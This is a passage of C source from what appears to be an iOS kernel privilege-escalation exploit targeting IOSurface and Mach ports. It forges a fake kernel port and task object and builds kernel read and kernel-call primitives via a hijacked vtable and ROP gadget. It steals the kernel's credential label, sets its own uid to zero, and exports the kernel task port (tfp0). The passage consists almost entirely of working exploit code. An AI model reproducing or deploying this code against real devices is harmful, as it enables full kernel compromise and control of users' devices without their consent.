  715. }
  716. LOG("fakeport addr: " ADDR, fakeport_addr);
  717. kptr_t fake_addr = fakeport_addr - fakeport_off;
  718. kport_request_t kreq;
  719. kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq);
  720. *fakeport_buf = kport;
  721. ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
  722. LOG("reallocate_buf: %s", mach_error_string(ret));
  723. if(ret != KERN_SUCCESS)
  724. {
  725. goto out3;
  726. }
  727. #define KREAD(addr, buf, len) \
  728. do \
  729. { \
  730. for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
  731. { \
  732. ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \
  733. if(ret != KERN_SUCCESS) \
  734. { \
  735. LOG("mach_port_set_context: %s", mach_error_string(ret)); \
  736. goto out3; \
  737. } \
  738. mach_msg_type_number_t outsz = 1; \
  739. ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \
  740. if(ret != KERN_SUCCESS) \
  741. { \
  742. LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \
  743. goto out3; \
  744. } \
  745. } \
  746. } while(0)
  747. kptr_t itk_space = 0;
  748. KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space));
  749. LOG("itk_space: " ADDR, itk_space);
  750. if(!itk_space)
  751. {
  752. goto out3;
  753. }
  754. kptr_t self_task = 0;
  755. KREAD(itk_space + OFFSET_IPC_SPACE_IS_TASK, &self_task, sizeof(self_task));
  756. LOG("self_task: " ADDR, self_task);
  757. if(!self_task)
  758. {
  759. goto out3;
  760. }
  761. kptr_t IOSurfaceRootUserClient_port = 0;
  762. KREAD(self_task + OFFSET_TASK_ITK_REGISTERED, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port));
  763. LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port);
  764. if(!IOSurfaceRootUserClient_port)
  765. {
  766. goto out3;
  767. }
  768. kptr_t IOSurfaceRootUserClient_addr = 0;
  769. KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr));
  770. LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr);
  771. if(!IOSurfaceRootUserClient_addr)
  772. {
  773. goto out3;
  774. }
  775. kptr_t IOSurfaceRootUserClient_vtab = 0;
  776. KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab));
  777. LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab);
  778. if(!IOSurfaceRootUserClient_vtab)
  779. {
  780. goto out3;
  781. }
  782. kptr_t slide = IOSurfaceRootUserClient_vtab - OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
  783. LOG("slide: " ADDR, slide);
  784. if((slide % 0x100000) != 0)
  785. {
  786. goto out3;
  787. }
  788. #define OFF(name) (OFFSET_ ## name + slide)
  789. ret = mach_ports_register(self, NULL, 0);
  790. LOG("mach_ports_register: %s", mach_error_string(ret));
  791. if(ret != KERN_SUCCESS)
  792. {
  793. goto out3;
  794. }
  795. kptr_t zone_map_addr = 0;
  796. KREAD(OFF(ZONE_MAP), &zone_map_addr, sizeof(zone_map_addr));
  797. LOG("zone_map: " ADDR, zone_map_addr);
  798. if(!zone_map_addr)
  799. {
  800. goto out3;
  801. }
  802. kptr_t vtab[0x600 / sizeof(kptr_t)] = { 0 };
  803. KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab));
  804. vtab[OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX / sizeof(kptr_t)] = OFF(ROP_ADD_X0_X0_0x10);
  805. uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? fakeport_off + sizeof(kport_t) : 0;
  806. faketask_off = KPTR_ALIGN(faketask_off);
  807. volatile ktask_t *faketask_buf = (volatile ktask_t*)((uintptr_t)&dict[5] + faketask_off);
  808. ktask_t ktask;
  809. ktask.a.lock.data = 0x0;
  810. ktask.a.lock.type = 0x22;
  811. ktask.a.ref_count = 100;
  812. ktask.a.active = 1;
  813. ktask.a.map = zone_map_addr;
  814. ktask.b.itk_self = 1;
  815. *faketask_buf = ktask;
  816. kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
  817. kport.ip_kobject = fake_addr + faketask_off;
  818. kport.ip_requests = 0;
  819. *fakeport_buf = kport;
  820. #undef KREAD
  821. ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
  822. LOG("reallocate_buf: %s", mach_error_string(ret));
  823. if(ret != KERN_SUCCESS)
  824. {
  825. goto out3;
  826. }
  827. mach_vm_address_t shmem_addr = 0;
  828. vm_prot_t cur = 0,
  829. max = 0;
  830. ret = mach_vm_remap(self, &shmem_addr, DATA_SIZE, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE);
  831. LOG("mach_vm_remap: %s", mach_error_string(ret));
  832. if(ret != KERN_SUCCESS)
  833. {
  834. goto out3;
  835. }
  836. LOG("shmem_addr: 0x%016llx", shmem_addr);
  837. fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off);
  838. uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0;
  839. vtab_off = KPTR_ALIGN(vtab_off);
  840. kptr_t vtab_addr = fake_addr + vtab_off;
  841. LOG("vtab addr: " ADDR, vtab_addr);
  842. volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off);
  843. for(volatile char *src = (volatile char*)vtab, *dst = (volatile char*)vtab_buf, *end = src + sizeof(vtab); src < end; *(dst++) = *(src++));
  844. #define MAXRANGES 5
  845. struct {
  846. uint32_t start;
  847. uint32_t end;
  848. } ranges[MAXRANGES] =
  849. {
  850. { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) },
  851. { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) },
  852. };
  853. size_t numranges = 2;
  854. #define FIND_RANGE(var, size) \
  855. do \
  856. { \
  857. if(numranges >= MAXRANGES) \
  858. { \
  859. LOG("FIND_RANGE(" #var "): ranges array too small"); \
  860. goto out3; \
  861. } \
  862. for(int32_t i = 0; i < numranges; ++i) \
  863. { \
  864. uint32_t end = var + (uint32_t)(size); \
  865. if( \
  866. (var >= ranges[i].start && var < ranges[i].end) || \
  867. (end >= ranges[i].start && var < ranges[i].end) \
  868. ) \
  869. { \
  870. var = KPTR_ALIGN(ranges[i].end); \
  871. i = -1; \
  872. } \
  873. } \
  874. if(var + (uint32_t)(size) > DATA_SIZE) \
  875. { \
  876. LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size)); \
  877. goto out3; \
  878. } \
  879. ranges[numranges].start = var; \
  880. ranges[numranges].end = var + (uint32_t)(size); \
  881. ++numranges; \
  882. } while(0)
  883. typedef union
  884. {
  885. struct {
  886. // IOUserClient fields
  887. kptr_t vtab;
  888. uint32_t refs;
  889. uint32_t pad;
  890. // IOExternalTrap fields
  891. kptr_t obj;
  892. kptr_t func;
  893. uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing
  894. } a;
  895. struct {
  896. char pad[OFFSET_IOUSERCLIENT_IPC];
  897. int32_t __ipc;
  898. } b;
  899. } kobj_t;
  900. uint32_t fakeobj_off = 0;
  901. FIND_RANGE(fakeobj_off, sizeof(kobj_t));
  902. kptr_t fakeobj_addr = fake_addr + fakeobj_off;
  903. LOG("fakeobj addr: " ADDR, fakeobj_addr);
  904. volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off);
  905. for(volatile char *ptr = (volatile char*)fakeobj_buf, *end = ptr + sizeof(*fakeobj_buf); ptr < end; *(ptr++) = 0);
  906. fakeobj_buf->a.vtab = vtab_addr;
  907. fakeobj_buf->a.refs = 100;
  908. fakeobj_buf->b.__ipc = 100;
  909. fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT
  910. fakeport_buf->ip_kobject = fakeobj_addr;
  911. #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
  912. ( \
  913. fakeobj_buf->a.obj = (kptr_t)(x0), \
  914. fakeobj_buf->a.func = (kptr_t)(addr), \
  915. (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \
  916. )
  917. kptr_t kernel_task_addr = 0;
  918. int r = KCALL(OFF(COPYOUT), OFF(KERNEL_TASK), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0);
  919. LOG("kernel_task addr: " ADDR ", %s", kernel_task_addr, errstr(r));
  920. if(r != 0 || !kernel_task_addr)
  921. {
  922. goto out4;
  923. }
  924. kptr_t kernproc_addr = 0;
  925. r = KCALL(OFF(COPYOUT), kernel_task_addr + OFFSET_TASK_BSD_INFO, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0);
  926. LOG("kernproc addr: " ADDR ", %s", kernproc_addr, errstr(r));
  927. if(r != 0 || !kernproc_addr)
  928. {
  929. goto out4;
  930. }
  931. kptr_t kern_ucred = 0;
  932. r = KCALL(OFF(COPYOUT), kernproc_addr + OFFSET_PROC_UCRED, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
  933. LOG("kern_ucred: " ADDR ", %s", kern_ucred, errstr(r));
  934. if(r != 0 || !kernproc_addr)
  935. {
  936. goto out4;
  937. }
  938. kptr_t self_proc = 0;
  939. r = KCALL(OFF(COPYOUT), self_task + OFFSET_TASK_BSD_INFO, &self_proc, sizeof(self_proc), 0, 0, 0, 0);
  940. LOG("self_proc: " ADDR ", %s", self_proc, errstr(r));
  941. if(r != 0 || !kernproc_addr)
  942. {
  943. goto out4;
  944. }
  945. kptr_t self_ucred = 0;
  946. r = KCALL(OFF(COPYOUT), self_proc + OFFSET_PROC_UCRED, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);
  947. LOG("self_ucred: " ADDR ", %s", self_ucred, errstr(r));
  948. if(r != 0 || !kernproc_addr)
  949. {
  950. goto out4;
  951. }
  952. KCALL(OFF(BCOPY), kern_ucred + OFFSET_UCRED_CR_LABEL, self_ucred + OFFSET_UCRED_CR_LABEL, sizeof(kptr_t), 0, 0, 0, 0);
  953. LOG("stole the kernel's cr_label");
  954. KCALL(OFF(BZERO), self_ucred + OFFSET_UCRED_CR_UID, 12, 0, 0, 0, 0, 0);
  955. setuid(0); // update host port
  956. LOG("uid: %u", getuid());
  957. host_t realhost = mach_host_self();
  958. LOG("realhost: %x (host: %x)", realhost, host);
  959. uint32_t zm_task_off = 0;
  960. FIND_RANGE(zm_task_off, sizeof(ktask_t));
  961. kptr_t zm_task_addr = fake_addr + zm_task_off;
  962. LOG("zm_task addr: " ADDR, zm_task_addr);
  963. volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off);
  964. for(volatile char *ptr = (volatile char*)zm_task_buf, *end = ptr + sizeof(*zm_task_buf); ptr < end; *(ptr++) = 0);
  965. zm_task_buf->a.lock.data = 0x0;
  966. zm_task_buf->a.lock.type = 0x22;
  967. zm_task_buf->a.ref_count = 100;
  968. zm_task_buf->a.active = 1;
  969. zm_task_buf->b.itk_self = 1;
  970. zm_task_buf->a.map = zone_map_addr;
  971. uint32_t km_task_off = 0;
  972. FIND_RANGE(km_task_off, sizeof(ktask_t));
  973. kptr_t km_task_addr = fake_addr + km_task_off;
  974. LOG("km_task addr: " ADDR, km_task_addr);
  975. volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off);
  976. for(volatile char *ptr = (volatile char*)km_task_buf, *end = ptr + sizeof(*km_task_buf); ptr < end; *(ptr++) = 0);
  977. km_task_buf->a.lock.data = 0x0;
  978. km_task_buf->a.lock.type = 0x22;
  979. km_task_buf->a.ref_count = 100;
  980. km_task_buf->a.active = 1;
  981. km_task_buf->b.itk_self = 1;
  982. r = KCALL(OFF(COPYOUT), OFF(KERNEL_MAP), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0);
  983. LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r));
  984. if(r != 0 || !km_task_buf->a.map)
  985. {
  986. goto out4;
  987. }
  988. kptr_t ipc_space_kernel = 0;
  989. r = KCALL(OFF(COPYOUT), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0);
  990. LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r));
  991. if(r != 0 || !ipc_space_kernel)
  992. {
  993. goto out4;
  994. }
  995. #ifdef __LP64__
  996. kmap_hdr_t zm_hdr = { 0 };
  997. r = KCALL(OFF(COPYOUT), zm_task_buf->a.map + OFFSET_VM_MAP_HDR, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0);
  998. LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r));
  999. if(r != 0 || !zm_hdr.start || !zm_hdr.end)
  1000. {
  1001. goto out4;
  1002. }
  1003. if(zm_hdr.end - zm_hdr.start > 0x100000000)
  1004. {
  1005. LOG("zone_map is too big, sorry.");
  1006. goto out4;
  1007. }
  1008. kptr_t zm_tmp; // macro scratch space
  1009. # define ZM_FIX_ADDR(addr) \
  1010. ( \
  1011. zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \
  1012. zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \
  1013. )
  1014. #else
  1015. # define ZM_FIX_ADDR(addr) (addr)
  1016. #endif
  1017. kptr_t ptrs[2] = { 0 };
  1018. ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
  1019. ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
  1020. LOG("zm_port addr: " ADDR, ptrs[0]);
  1021. LOG("km_port addr: " ADDR, ptrs[1]);
  1022. KCALL(OFF(IPC_KOBJECT_SET), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0);
  1023. KCALL(OFF(IPC_KOBJECT_SET), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0);
  1024. r = KCALL(OFF(COPYIN), ptrs, self_task + OFFSET_TASK_ITK_REGISTERED, sizeof(ptrs), 0, 0, 0, 0);
  1025. LOG("copyin: %s", errstr(r));
  1026. if(r != 0)
  1027. {
  1028. goto out4;
  1029. }
  1030. mach_port_array_t maps = NULL;
  1031. mach_msg_type_number_t mapsNum = 0;
  1032. ret = mach_ports_lookup(self, &maps, &mapsNum);
  1033. LOG("mach_ports_lookup: %s", mach_error_string(ret));
  1034. if(ret != KERN_SUCCESS)
  1035. {
  1036. goto out4;
  1037. }
  1038. LOG("zone_map port: %x", maps[0]);
  1039. LOG("kernel_map port: %x", maps[1]);
  1040. if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1]))
  1041. {
  1042. goto out4;
  1043. }
  1044. // Clean out refs right away
  1045. ret = mach_ports_register(self, NULL, 0);
  1046. LOG("mach_ports_register: %s", mach_error_string(ret));
  1047. if(ret != KERN_SUCCESS)
  1048. {
  1049. goto out5;
  1050. }
  1051. mach_vm_address_t remap_addr = 0;
  1052. ret = mach_vm_remap(maps[1], &remap_addr, SIZEOF_TASK, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE);
  1053. LOG("mach_vm_remap: %s", mach_error_string(ret));
  1054. if(ret != KERN_SUCCESS)
  1055. {
  1056. goto out5;
  1057. }
  1058. LOG("remap_addr: 0x%016llx", remap_addr);
  1059. ret = mach_vm_wire(realhost, maps[1], remap_addr, SIZEOF_TASK, VM_PROT_READ | VM_PROT_WRITE);
  1060. LOG("mach_vm_wire: %s", mach_error_string(ret));
  1061. if(ret != KERN_SUCCESS)
  1062. {
  1063. goto out5;
  1064. }
  1065. kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
  1066. LOG("newport: " ADDR, newport);
  1067. KCALL(OFF(IPC_KOBJECT_SET), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0);
  1068. KCALL(OFF(IPC_PORT_MAKE_SEND), newport, 0, 0, 0, 0, 0, 0);
  1069. r = KCALL(OFF(COPYIN), &newport, OFF(REALHOST) + OFFSET_REALHOST_SPECIAL + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0);
  1070. LOG("copyin: %s", errstr(r));
  1071. if(r != 0)
  1072. {
  1073. goto out4;
  1074. }
  1075. task_t kernel_task = MACH_PORT_NULL;
  1076. ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task);
  1077. LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret));
  1078. if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task))
  1079. {
  1080. goto out5;
  1081. }
  1082. *tfp0 = kernel_task;
  1083. *kslide = slide;
  1084. *kernucred = kern_ucred;
  1085. // *selfproc = self_proc;
  1086. retval = KERN_SUCCESS;
  1087. out5:;
  1088. _kernelrpc_mach_port_destroy_trap(self, maps[0]);
  1089. _kernelrpc_mach_port_destroy_trap(self, maps[1]);
  1090. out4:;
  1091. _kernelrpc_mach_port_destroy_trap(self, fakeport);
  1092. out3:;
  1093. for(size_t i = 0; i < NUM_AFTER; ++i)
  1094. {
  1095. if(MACH_PORT_VALID(after[i]))
  1096. {
  1097. _kernelrpc_mach_port_destroy_trap(self, after[i]);
  1098. after[i] = MACH_PORT_NULL;
  1099. }
  1100. }
  1101. if(MACH_PORT_VALID(port))
  1102. {
  1103. _kernelrpc_mach_port_destroy_trap(self, port);
  1104. port = MACH_PORT_NULL;
  1105. }
  1106. out2:;
  1107. for(size_t i = 0; i < NUM_BEFORE; ++i)
  1108. {
  1109. if(MACH_PORT_VALID(before[i]))
  1110. {
  1111. _kernelrpc_mach_port_destroy_trap(self, before[i]);
  1112. before[i] = MACH_PORT_NULL;
  1113. }
  1114. }
  1115. if(MACH_PORT_VALID(realport))
  1116. {
  1117. _kernelrpc_mach_port_destroy_trap(self, realport);
  1118. realport = MACH_PORT_NULL;
  1119. }
  1120. out1:;
  1121. IOServiceClose(client);
  1122. out0:;
  1123. return retval;
  1124. }